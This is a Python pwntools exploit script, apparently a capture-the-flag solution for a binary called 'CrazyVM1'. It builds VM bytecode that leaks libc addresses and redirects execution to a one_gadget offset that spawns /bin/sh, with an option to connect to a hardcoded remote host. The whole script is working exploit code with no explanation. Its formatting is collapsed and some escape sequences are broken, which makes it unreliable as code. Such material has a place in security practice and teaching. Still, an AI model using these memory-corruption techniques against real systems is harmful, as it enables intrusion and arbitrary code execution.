1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import *
arch = 64 challenge = './CrazyVM1'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc-2.31.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') def debug(): gdb.attach(p,"b *$rebase(0xB58C)\n") pause() def cmd(op): sla(">",str(op))
def op(op,rsi,rdx,rcx,r8): return p8(op)+p8(rsi)+p8(rdx)+p8(rcx)+p32(r8)
def mov(offset,data): return op(1,1,2,offset,data)
def intemp(offset): return op(0x12,4,3,offset,0)
def outtemp(offset): return op(0x13,4,3,offset,0)
def add(offset,data): return op(2,0,3,offset,data)
code = intemp(0x10) code += outtemp(0) code += mov(1,0x323020+8-0x80000) code += add(1,0) code += intemp(1) code += outtemp(0x10) code += outtemp(3)
code += mov(1,0xe6aee-0x9ec90) code += add(3,1)
code += mov(1,0x323f58+0x10-0x80000) code += add(1,0) code += intemp(1) code += outtemp(0x10) code += intemp(3)
data = "1"
sa("input code for vm: ",code) sa("input data for vm: ",data)
""" 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL """
p.interactive()
|